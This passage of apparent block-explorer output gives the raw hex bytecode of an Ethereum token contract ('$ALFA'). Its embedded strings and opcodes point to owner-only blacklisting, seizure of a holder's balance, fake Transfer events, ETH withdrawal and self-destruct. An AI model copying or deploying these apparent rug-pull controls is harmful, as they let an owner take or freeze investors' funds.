886001600160a01b03168a6001600160a01b03166000805160206132e48339815191528360405161294291815260200190565b60405180910390a350505050505b5050505050565b60008181526001830160205260408120548015612a3a57600061297b600183613125565b855490915060009061298f90600190613125565b905060008660000182815481106129a8576129a86131fb565b90600052602060002001549050808760000184815481106129cb576129cb6131fb565b6000918252602080832090910192909255828152600189019091526040902084905586548790806129fe576129fe613211565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610e4e565b6000915050610e4e565b600d54612a5c9030906001600160a01b031683611e2e565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a9157612a916131fb565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015612ae557600080fd5b505afa158015612af9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b1d9190613227565b81600181518110612b3057612b306131fb565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b815291169063791ac94790612b76908590600090869030904290600401613244565b600060405180830381600087803b158015612b9057600080fd5b505af11580156122f8573d6000803e3d6000fd5b80601a6000828254612bb6919061313c565b9091555050600d54612bd39030906001600160a01b031684611e2e565b600d5460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b158015612c3b57600080fd5b505af1158015612c4f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061295091906132b5565b601654600090606490612c8a9060ff1684613106565b612c94919061318a565b90508060176000828254612ca8919061313c565b90915550505050565b6001600160a01b038216600090815260016020526040812054612cd5908390613125565b6001600160a01b039093166000908152600160205260409020929092555050565b6001600160a01b038216600090815260016020526040812054612cd590839061313c565b60006127108260ff168460ff1686612d329190613106565b612d3c9190613106565b612d46919061318a565b949350505050565b6001600160a01b038116811461131957600080fd5b60008060408385031215612d7657600080fd5b8235612d8181612d4e565b91506020830135612d9181612d4e565b809150509250929050565b600060208083528351808285015260005b81811015612dc957858101830151858201604001528201612dad565b81811115612ddb576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612e0457600080fd5b8235612e0f81612d4e565b946020939093013593505050565b600080600060608486031215612e3257600080fd5b8335612e3d81612d4e565b92506020840135612e4d81612d4e565b929592945050506040919091013590565b801515811461131957600080fd5b60008060408385031215612e7f57600080fd5b8235612e8a81612d4e565b91506020830135612d9181612e5e565b600060208284031215612eac57600080fd5b8135611df081612d4e565b600060208284031215612ec957600080fd5b8135611df081612e5e565b803560ff81168114612ee557600080fd5b919050565b600060208284031215612efc57600080fd5b611df082612ed4565b60008060408385031215612f1857600080fd5b50508035926020909101359150565b600060208284031215612f3957600080fd5b5035919050565b600080600080600080600060e0888a031215612f5b57600080fd5b612f6488612ed4565b9650612f7260208901612ed4565b9550612f8060408901612ed4565b9450612f8e60608901612ed4565b9350612f9c60808901612ed4565b9250612faa60a08901612ed4565b9150612fb860c08901612ed4565b905092959891949750929550565b60208082526017908201527f43616c6c6572206e6f7420696e20546865446f63746f72000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561304e57816000190482111561303457613034612ffd565b8085161561304157918102915b93841c9390800290613018565b509250929050565b60008261306557506001610e4e565b8161307257506000610e4e565b81600181146130885760028114613092576130ae565b6001915050610e4e565b60ff8411156130a3576130a3612ffd565b50506001821b610e4e565b5060208310610133831016604e8410600b84101617156130d1575081810a610e4e565b6130db8383613013565b80600019048211156130ef576130ef612ffd565b029392505050565b6000611df060ff841683613056565b600081600019048311821515161561312057613120612ffd565b500290565b60008282101561313757613137612ffd565b500390565b6000821982111561314f5761314f612ffd565b500190565b60006020828403121561316657600080fd5b5051919050565b60006020828403121561317f57600080fd5b8151611df081612e5e565b6000826131a757634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff038211156131c9576131c9612ffd565b019392505050565b60208082526010908201526f3bb430b63290383937ba32b1ba34b7b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b60006020828403121561323957600080fd5b8151611df081612d4e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156132945784516001600160a01b03168352938301939183019160010161326f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156132ca57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122051ce36f31da058a9f7db2a72232deebdb08ed84d21e12f6a3ca9004a4e552b4464736f6c63430008080033

Deployed Bytecode

0x6080604052600436106104105760003560e01c806380866d971161021c578063b8460c2c11610122578063d6c57f27116100b0578063ed11f46a11610077578063ed11f46a14610d64578063f0a50b3514610d7a578063f2fde38b14610d9a578063f56e1ad714610dba578063f9a7a99514610dda57005b8063d6c57f2714610c9d578063dc07019314610cbd578063dd62ed3e14610cdd578063e3172e7214610d23578063e3db58c014610d4457005b8063c7639d80116100f4578063c7639d8014610be7578063c9567bf914610c0f578063d28d885214610c24578063d4e54b4114610c5d578063d5bed8cd14610c7d57005b8063b8460c2c14610b7d578063be9a655514610b9d578063c00f04d114610bb2578063c69bcfca14610bd257005b80639eebc7b8116101aa578063a9059cbb11610171578063a9059cbb14610acc578063ab0b364c14610aec578063acf20fc014610b0c578063b09f126614610b2c578063b77369ad14610b5d57005b80639eebc7b814610a1c578063a20623ce14610a46578063a253c06e14610a76578063a42bd1cd14610a8c578063a457c2d714610aac57005b8063893d20e8116101ee578063893d20e8146109905780638da5cb5b146109905780638e82ed4c146109ae578063954ea665146109ce57806395d89b41146109ee57005b806380866d971461091b57806382c4767b1461093b57806386d0ada8146109515780638794078c1461097057005b8063395093511161032157806358e55365116102af5780636c5c4f03116102765780636c5c4f03146108635780636ebcf6071461088357806370a08231146108b0578063715018a6146108e6578063744d0fc7146108fb57005b806358e55365146107ee57806360c1d96614610804578063645d3c401461081957806366ae34cb14610838578063695da39d1461084e57005b80634a18adf4116102f35780634a18adf41461074e5780634b8bbc471461076e57806352923e271461078e5780635474fbb3146107ae57806358065598146107ce57005b806339509351146106ec5780633cc39b7a1461070c5780634089b1701461072257806348e907b71461073857005b80631f8b845e1161039e578063311a869711610370578063311a86971461066c578063313ce5671461068d57806332424aa3146106a157806332d16a2d146106b6578063340e5789146106d657005b80631f8b845e146105cd57806323b872dd146105ed5780632a24e0641461060d57806330e0789e1461064c57005b806309218ee7116103e257806309218ee714610512578063095ea7b31461053e5780630fd99e161461056e57806318160ddd146105a35780631eb25d13146105b857005b806301339c2114610419578063024c2ddd1461042e57806306fdde031461047957806307dd9ed8146104b857005b3661041757005b005b34801561042557600080fd5b50610417610dfa565b34801561043a57600080fd5b50610466610449366004612d63565b600260209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b34801561048557600080fd5b5060408051808201909152600d81526c1053119048141c9bdd1bd8dbdb609a1b60208201525b6040516104709190612d9c565b3480156104c457600080fd5b506011546040805160ff6301000000840481168252600160201b840481166020830152808416928201929092526101008304821660608201526201000090920416608082015260a001610470565b34801561051e57600080fd5b5060165461052c9060ff1681565b60405160ff9091168152602001610470565b34801561054a57600080fd5b5061055e610559366004612df1565b610e3d565b6040519015158152602001610470565b34801561057a57600080fd5b5060085461059090600160201b900461ffff1681565b60405161ffff9091168152602001610470565b3480156105af57600080fd5b50600b54610466565b3480156105c457600080fd5b50610466610e54565b3480156105d957600080fd5b5060085461059090610100900461ffff1681565b3480156105f957600080fd5b5061055e610608366004612e1d565b610e72565b34801561061957600080fd5b50600c5461063490630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610470565b34801561065857600080fd5b50610417610667366004612e1d565b610f09565b34801561067857600080fd5b5060085461052c906301000000900460ff1681565b34801561069957600080fd5b50600961052c565b3480156106ad57600080fd5b5061052c600981565b3480156106c257600080fd5b506104176106d1366004612e6c565b610f4a565b3480156106e257600080fd5b5061046660185481565b3480156106f857600080fd5b5061055e610707366004612df1565b610f9a565b34801561071857600080fd5b50610466601a5481565b34801561072e57600080fd5b5061046660155481565b34801561074457600080fd5b5061046660145481565b34801561075a57600080fd5b50610417610769366004612e9a565b610fd1565b34801561077a57600080fd5b50610417610789366004612eb7565b611064565b34801561079a57600080fd5b506104176107a9366004612eb7565b6110aa565b3480156107ba57600080fd5b506104176107c9366004612e9a565b6110eb565b3480156107da57600080fd5b506104176107e9366004612eea565b611264565b3480156107fa57600080fd5b5061046660175481565b34801561081057600080fd5b5061041761129f565b34801561082557600080fd5b50600c5461055e90610100900460ff1681565b34801561084457600080fd5b5061046660125481565b34801561085a57600080fd5b5061041761131c565b34801561086f57600080fd5b5061041761087e366004612f05565b6113db565b34801561088f57600080fd5b5061046661089e366004612e9a565b60016020526000908152604090205481565b3480156108bc57600080fd5b506104666108cb366004612e9a565b6001600160a01b031660009081526001602052604090205490565b3480156108f257600080fd5b5061041761143a565b34801561090757600080fd5b50610417610916366004612f27565b6114ed565b34801561092757600080fd5b50610417610936366004612eb7565b611517565b34801561094757600080fd5b5061063461dead81565b34801561095d57600080fd5b50601b5461055e90610100900460ff1681565b34801561097c57600080fd5b5061041761098b366004612eb7565b61154f565b34801561099c57600080fd5b506000546001600160a01b0316610634565b3480156109ba57600080fd5b506104176109c9366004612e6c565b611587565b3480156109da57600080fd5b50600d54610634906001600160a01b031681565b3480156109fa57600080fd5b5060408051808201909152600581526424414c464160d81b60208201526104ab565b348015610a2857600080fd5b50610a316115d7565b60408051928352602083019190915201610470565b348015610a5257600080fd5b5061055e610a61366004612e9a565b60056020526000908152604090205460ff1681565b348015610a8257600080fd5b50610466600b5481565b348015610a9857600080fd5b50610417610aa7366004612df1565b611614565b348015610ab857600080fd5b5061055e610ac7366004612df1565b611752565b348015610ad857600080fd5b5061055e610ae7366004612df1565b6117ce565b348015610af857600080fd5b50600c5461055e9062010000900460ff1681565b348015610b1857600080fd5b50610417610b27366004612f40565b6117db565b348015610b3857600080fd5b506104ab6040518060400160405280600581526020016424414c464160d81b81525081565b348015610b6957600080fd5b50610417610b78366004612e9a565b6118f2565b348015610b8957600080fd5b50610417610b98366004612e9a565b61194b565b348015610ba957600080fd5b50610417611994565b348015610bbe57600080fd5b50610417610bcd366004612eb7565b6119cf565b348015610bde57600080fd5b50610417611a10565b348015610bf357600080fd5b50610634737a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610c1b57600080fd5b50610417611a38565b348015610c3057600080fd5b506104ab6040518060400160405280600d81526020016c1053119048141c9bdd1bd8dbdb609a1b81525081565b348015610c6957600080fd5b50610417610c78366004612e9a565b611a76565b348015610c8957600080fd5b50610417610c98366004612eb7565b611aaa565b348015610ca957600080fd5b50610417610cb8366004612e9a565b611ae2565b348015610cc957600080fd5b50610417610cd8366004612eb7565b611b12565b348015610ce957600080fd5b50610466610cf8366004612d63565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610d2f57600080fd5b50601b5461055e90600160301b900460ff1681565b348015610d5057600080fd5b50610417610d5f366004612f27565b611b4a565b348015610d7057600080fd5b5061046660195481565b348015610d8657600080fd5b50610417610d95366004612eb7565b611b85565b348015610da657600080fd5b50610417610db5366004612e9a565b611bc4565b348015610dc657600080fd5b50610417610dd5366004612f27565b611ced565b348015610de657600080fd5b50610417610df5366004612e9a565b611d95565b610e0333611df7565b610e285760405162461bcd60e51b8152600401610e1f90612fc6565b60405180910390fd5b601b805463ff00000019166301000000179055565b6000610e4a338484611e2e565b5060015b92915050565b610e606009600a6130f7565b610e6f906402540be400613106565b81565b6000610e7f848484611f19565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610eea5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610e1f565b610efe8533610ef98685613125565b611e2e565b506001949350505050565b816001600160a01b0316836001600160a01b03166000805160206132e48339815191526000604051610f3d91815260200190565b60405180910390a3505050565b610f5333611df7565b610f6f5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610e4a918590610ef990869061313c565b610fda33611df7565b610ff65760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03811660009081526001602052604080822080549083905530835290822080549192839261102c90849061313c565b909155505060405181815230906001600160a01b038416906000805160206132e4833981519152906020015b60405180910390a35050565b61106d33611df7565b6110895760405162461bcd60e51b8152600401610e1f90612fc6565b601b8054911515600160301b0266ff00000000000019909216919091179055565b6110b333611df7565b6110cf5760405162461bcd60e51b8152600401610e1f90612fc6565b600c8054911515620100000262ff000019909216919091179055565b6110f433611df7565b6111105760405162461bcd60e51b8152600401610e1f90612fc6565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b15801561115457600080fd5b505afa158015611168573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118c9190613154565b9050600081116111de5760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e636500000000000000006044820152606401610e1f565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125e919061316d565b50505050565b61126d33611df7565b6112895760405162461bcd60e51b8152600401610e1f90612fc6565b6016805460ff191660ff92909216919091179055565b6112a833611df7565b6112c45760405162461bcd60e51b8152600401610e1f90612fc6565b604051600090339047908381818185875af1925050503d8060008114611306576040519150601f19603f3d011682016040523d82523d6000602084013e61130b565b606091505b505090508061131957600080fd5b50565b61132533611df7565b6113415760405162461bcd60e51b8152600401610e1f90612fc6565b6017805460009182905560405190913391829084908381818185875af1925050503d806000811461138e576040519150601f19603f3d011682016040523d82523d6000602084013e611393565b606091505b50509050806113d65760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e1f565b505050565b6113e433611df7565b6114005760405162461bcd60e51b8152600401610e1f90612fc6565b61140c6009600a6130f7565b6114169083613106565b91506114246009600a6130f7565b61142e9082613106565b600e9290925550600f55565b3361144d6000546001600160a01b031690565b6001600160a01b0316146114a35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610e1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6114f633611df7565b6115125760405162461bcd60e51b8152600401610e1f90612fc6565b600755565b61152033611df7565b61153c5760405162461bcd60e51b8152600401610e1f90612fc6565b6006805460ff1916911515919091179055565b61155833611df7565b6115745760405162461bcd60e51b8152600401610e1f90612fc6565b600a805460ff1916911515919091179055565b61159033611df7565b6115ac5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000806115e66009600a6130f7565b600e546115f3919061318a565b6115ff6009600a6130f7565b600f5461160c919061318a565b915091509091565b61161d33611df7565b6116395760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b0382166000908152600160205260409020548111156116955760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b6044820152606401610e1f565b6116a16009600a6130f7565b6116ab9082613106565b6001600160a01b038316600090815260016020526040812080549091906116d3908490613125565b909155506116e590506009600a6130f7565b6116ef9082613106565b306000908152600160205260408120805490919061170e90849061313c565b909155503090506001600160a01b0383166000805160206132e483398151915261173a6009600a6130f7565b6117449085613106565b604051908152602001611058565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156117b55760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610e1f565b6117c43385610ef98685613125565b5060019392505050565b6000610e4a338484611f19565b6117e433611df7565b6118005760405162461bcd60e51b8152600401610e1f90612fc6565b6000848661180e898b6131ac565b61181891906131ac565b61182291906131ac565b90508060ff166064146118865760405162461bcd60e51b815260206004820152602660248201527f6275726e2b6c69712b6d61726b6574696e67206e6565647320746f20657175616044820152656c203130302560d01b6064820152608401610e1f565b506011805460ff928316620100000262ff0000199484166101000261ffff19978516600160201b0264ff00000000199986166301000000029990991664ffff00000019909316929092179790971795909516939091169290921792909217919091169190911790555050565b6118fb33611df7565b6119175760405162461bcd60e51b8152600401610e1f90612fc6565b601b80546001600160a01b0390921667010000000000000002670100000000000000600160d81b0319909216919091179055565b61195433611df7565b6119705760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b61199d33611df7565b6119b95760405162461bcd60e51b8152600401610e1f90612fc6565b601b805464ff000000001916600160201b179055565b6119d833611df7565b6119f45760405162461bcd60e51b8152600401610e1f90612fc6565b601b8054911515620100000262ff000019909216919091179055565b611a1933611df7565b611a355760405162461bcd60e51b8152600401610e1f90612fc6565b33ff5b611a4133611df7565b611a5d5760405162461bcd60e51b8152600401610e1f90612fc6565b601b805465ff0000000000191665010000000000179055565b611a7f33611df7565b611a9b5760405162461bcd60e51b8152600401610e1f90612fc6565b611aa6600382611ddb565b5050565b611ab333611df7565b611acf5760405162461bcd60e51b8152600401610e1f90612fc6565b6008805460ff1916911515919091179055565b611aeb33611df7565b611b075760405162461bcd60e51b8152600401610e1f90612fc6565b611aa6600382612300565b611b1b33611df7565b611b375760405162461bcd60e51b8152600401610e1f90612fc6565b600c805460ff1916911515919091179055565b611b5333611df7565b611b6f5760405162461bcd60e51b8152600401610e1f90612fc6565b611319611b8082633b9aca00613106565b612315565b611b8e33611df7565b611baa5760405162461bcd60e51b8152600401610e1f90612fc6565b601b80549115156101000261ff0019909216919091179055565b33611bd76000546001600160a01b031690565b6001600160a01b031614611c2d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610e1f565b6001600160a01b038116611c925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e1f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611cf633611df7565b611d125760405162461bcd60e51b8152600401610e1f90612fc6565b30600090815260016020526040902054811115611d2e57600080fd5b3060009081526001602052604081208054839290611d4d908490613125565b9250508190555080600b6000828254611d669190613125565b909155505060405181815261dead9030906000805160206132e48339815191529060200160405180910390a350565b611d9e33611df7565b611dba5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000611df0836001600160a01b038416612489565b9392505050565b600080546001600160a01b0383811691161480610e4e5750506001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b038316611e785760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610e1f565b6001600160a01b038216611ec05760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610e1f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610f3d565b6001600160a01b038316611f645760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610e1f565b6001600160a01b038216611fad5760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610e1f565b60065460ff1615612035576001600160a01b03831660009081526005602052604090205460ff16158015611ffa57506001600160a01b03821660009081526005602052604090205460ff16155b6120355760405162461bcd60e51b815260206004820152600c60248201526b426c61636b6c69737465642160a01b6044820152606401610e1f565b60006120426003856124d8565b8061205357506120536003846124d8565b8061207657506001600160a01b03841660009081526009602052604090205460ff165b8061209957506001600160a01b03831660009081526009602052604090205460ff165b905060006001600160a01b0385163014806120bc57506001600160a01b03841630145b600c549091506000906001600160a01b0387811663010000009092041614801561210257506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b806121485750600c546001600160a01b0386811663010000009092041614801561214857506001600160a01b038616737a250d5630b4cf539739df2c5dacb4c659f2488d145b905081806121535750805b8061215b5750825b156121705761216b8686866124fa565b6122f8565b601b54600160301b900460ff1661225f576000546001600160a01b038781169116148015906121ad57506000546001600160a01b03868116911614155b1561225f57600c54610100900460ff161561220657846001600160a01b0316866001600160a01b03166000805160206132e483398151915260006040516121f691815260200190565b60405180910390a3505050505050565b601b54600160301b900460ff1661225f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206e6f742079657420656e61626c65640000000000000000006044820152606401610e1f565b600c546000906001600160a01b0388811663010000009092041614806122a157506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b600c549091506000906001600160a01b0388811663010000009092041614806122e657506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b90506122f588888885856125b3565b50505b505050505050565b6000611df0836001600160a01b038416612957565b601b805460ff19166001908117909155306000908152602091909152604081205460115490919061235a90600160201b810460ff9081169163010000009004166131ac565b60ff169050600060075490508381111561237c5760085460ff161561237c5750825b8083108061238c575061ffff8216155b156123995750505061247c565b60115460009061ffff8416906123b9906301000000900460ff1684613106565b6123c3919061318a565b60115490915060009061ffff8516906123e690600160201b900460ff1685613106565b6123f0919061318a565b905060006123ff60028461318a565b9050600061240d8285613125565b9050600061241b848361313c565b90504761242782612a44565b60006124338247613125565b90506000836124428684613106565b61244c919061318a565b90506124588682612ba4565b60006124648447613125565b905061246f81612c74565b5050505050505050505050505b50601b805460ff19169055565b60008181526001830160205260408120546124d057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610e4e565b506000610e4e565b6001600160a01b03811660009081526001830160205260408120541515611df0565b6001600160a01b0383166000908152600160205260409020548181101561255e5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610e1f565b6125688483612cb1565b6125728383612cf6565b826001600160a01b0316846001600160a01b03166000805160206132e4833981519152846040516125a591815260200190565b60405180910390a350505050565b6001600160a01b03808516600090815260016020526040808220549288168252902054848110156126215760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610e1f565b6002600f54612630919061318a565b6007558280156126425750600a5460ff165b15612757576001600160a01b0380881660009081526001602052604080822054600c54630100000090049093168252902054111561270a576001600160a01b0380881660009081526001602052604080822054600c54630100000090049093168252812080549091906126b6908490613125565b9091555050600c546001600160a01b0388811660009081526001602090815260409182902054915191825261dead9363010000009004909216916000805160206132e4833981519152910160405180910390a35b6001600160a01b0387166000818152600160205260408082208290555161dead92916000805160206132e48339815191529161274891815260200190565b60405180910390a35050612950565b600083156127b457600f548611156127a35760405162461bcd60e51b815260206004820152600f60248201526e223ab6b810383937ba32b1ba34b7b760891b6044820152606401610e1f565b50601154610100900460ff1661284c565b841561281357600e546127c7878561313c565b11156127e55760405162461bcd60e51b8152600401610e1f906131d1565b6010548611156128075760405162461bcd60e51b8152600401610e1f906131d1565b5060115460ff1661284c565b600e54612820878561313c565b111561283e5760405162461bcd60e51b8152600401610e1f906131d1565b5060115462010000900460ff165b600c546001600160a01b03898116630100000090920416148015906128795750601b54610100900460ff16155b80156128885750601b5460ff16155b156128965761289686612315565b6011546000906128c690889084906128c19060ff63010000008204811691600160201b9004166131ac565b612d1a565b905060006128d48289613125565b90506128e08a89612cb1565b30600090815260016020526040812080548492906128ff90849061313c565b9091555061290f90508982612cf6565b886001600160a01b03168a6001600160a01b03166000805160206132e48339815191528360405161294291815260200190565b60405180910390a350505050505b5050505050565b60008181526001830160205260408120548015612a3a57600061297b600183613125565b855490915060009061298f90600190613125565b905060008660000182815481106129a8576129a86131fb565b90600052602060002001549050808760000184815481106129cb576129cb6131fb565b6000918252602080832090910192909255828152600189019091526040902084905586548790806129fe576129fe613211565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610e4e565b6000915050610e4e565b600d54612a5c9030906001600160a01b031683611e2e565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a9157612a916131fb565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015612ae557600080fd5b505afa158015612af9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b1d9190613227565b81600181518110612b3057612b306131fb565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b815291169063791ac94790612b76908590600090869030904290600401613244565b600060405180830381600087803b158015612b9057600080fd5b505af11580156122f8573d6000803e3d6000fd5b80601a6000828254612bb6919061313c565b9091555050600d54612bd39030906001600160a01b031684611e2e565b600d5460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b158015612c3b57600080fd5b505af1158015612c4f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061295091906132b5565b601654600090606490612c8a9060ff1684613106565b612c94919061318a565b90508060176000828254612ca8919061313c565b90915550505050565b6001600160a01b038216600090815260016020526040812054612cd5908390613125565b6001600160a01b039093166000908152600160205260409020929092555050565b6001600160a01b038216600090815260016020526040812054612cd590839061313c565b60006127108260ff168460ff1686612d329190613106565b612d3c9190613106565b612d46919061318a565b949350505050565b6001600160a01b038116811461131957600080fd5b60008060408385031215612d7657600080fd5b8235612d8181612d4e565b91506020830135612d9181612d4e565b809150509250929050565b600060208083528351808285015260005b81811015612dc957858101830151858201604001528201612dad565b81811115612ddb576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612e0457600080fd5b8235612e0f81612d4e565b946020939093013593505050565b600080600060608486031215612e3257600080fd5b8335612e3d81612d4e565b92506020840135612e4d81612d4e565b929592945050506040919091013590565b801515811461131957600080fd5b60008060408385031215612e7f57600080fd5b8235612e8a81612d4e565b91506020830135612d9181612e5e565b600060208284031215612eac57600080fd5b8135611df081612d4e565b600060208284031215612ec957600080fd5b8135611df081612e5e565b803560ff81168114612ee557600080fd5b919050565b600060208284031215612efc57600080fd5b611df082612ed4565b60008060408385031215612f1857600080fd5b50508035926020909101359150565b600060208284031215612f3957600080fd5b5035919050565b600080600080600080600060e0888a031215612f5b57600080fd5b612f6488612ed4565b9650612f7260208901612ed4565b9550612f8060408901612ed4565b9450612f8e60608901612ed4565b9350612f9c60808901612ed4565b9250612faa60a08901612ed4565b9150612fb860c08901612ed4565b905092959891949750929550565b60208082526017908201527f43616c6c6572206e6f7420696e20546865446f63746f72000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561304e57816000190482111561303457613034612ffd565b8085161561304157918102915b93841c9390800290613018565b509250929050565b60008261306557506001610e4e565b8161307257506000610e4e565b81600181146130885760028114613092576130ae565b6001915050610e4e565b60ff8411156130a3576130a3612ffd565b50506001821b610e4e565b5060208310610133831016604e8410600b84101617156130d1575081810a610e4e565b6130db8383613013565b80600019048211156130ef576130ef612ffd565b029392505050565b6000611df060ff841683613056565b600081600019048311821515161561312057613120612ffd565b500290565b60008282101561313757613137612ffd565b500390565b6000821982111561314f5761314f612ffd565b500190565b60006020828403121561316657600080fd5b5051919050565b60006020828403121561317f57600080fd5b8151611df081612e5e565b6000826131a757634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff038211156131c9576131c9612ffd565b019392505050565b60208082526010908201526f3bb430b63290383937ba32b1ba34b7b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b60006020828403121561323957600080fd5b8151611df081612d4e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156132945784516001600160a01b03168352938301939183019160010161326f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156132ca57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122051ce36f31da058a9f7db2a72232deebdb08ed84d21e12f6a3ca9004a4e552b4464736f6c63430008080033

Deployed Bytecode Sourcemap

